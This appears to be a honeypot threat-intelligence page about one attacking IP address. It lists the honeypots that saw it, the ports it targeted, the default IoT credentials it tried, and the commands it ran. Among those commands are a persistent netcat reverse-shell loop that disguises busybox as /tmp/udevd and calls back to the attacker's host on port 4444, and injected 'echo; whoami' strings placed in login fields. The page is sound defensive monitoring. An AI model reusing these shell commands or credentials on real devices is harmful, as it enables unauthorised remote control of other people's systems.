Active Threat • CRITICAL

176.65.149.17

Country of Origin🇨🇦 Canada

First Detection1/29/2026

Last Activity2/21/2026

ISPOVH SAS

🎯

380

Total Attacks

🔌

Ports

📡

Attack Types

🦠

Malware

Geolocation

Country: 🇨🇦 Canada
City: Unknown
ASN: AS16276
ISP: OVH SAS

Attack Types

cowrie

honeyaml

elasticpot

tanner

honeytrap

Attacked Ports

2380205330004000800082658888920011434

Associated Malware

03d724978fa57906af00...→964de5a0858ffb0e8405...→a19b936015a0ef4863fa...→f8c28666f2f2beb599dc...→

Attempted Credentials

🔐sh/shell

11x

🔐root/xmhdipc

🔐root/888888

🔐root/admin

🔐root/xc3511

🔐root/vizxv

🔐system/echo 'C2_S0XQHOIW'; whoami

🔐system/echo 'C2_Z0MYJ330'; whoami

🔐system/echo 'C2_BIM4AM14'; whoami

🔐system/echo 'C2_4LG5RDLT'; whoami

🔐system/echo 'C2_LZ0MZ0B8'; whoami

🔐system/echo 'C2_3KUZNNF0'; whoami

🔐system/echo 'C2_FO0OGJFE'; whoami

🔐system/echo 'C2_VY4096QC'; whoami

🔐system/echo 'C2_K0ILWSIV'; whoami

Executed Commands

$root6x

$admin4x

$8888884x

$whoami2x

$setsid /bin/sh -c 'while true; do /tmp/udevd nc 176.65.149.17 4444 -e /bin/sh; sleep 5; done' >/dev/null 2>&1 &2x

$nohup /bin/sh -c 'while true; do /tmp/udevd nc 176.65.149.17 4444 -e /bin/sh; sleep 5; done' >/dev/null 2>&1 &2x

$cp /bin/busybox /tmp/udevd2x

$xmhdipc2x

$setsid /bin/sh -c while true; do /tmp/udevd nc 176.65.149.17 4444 -e /bin/sh; sleep 5; done > /dev/null 2 >& 1 &2x

$chmod +x /tmp/udevd2x

Risk Assessment

/100

LowMediumHighCritical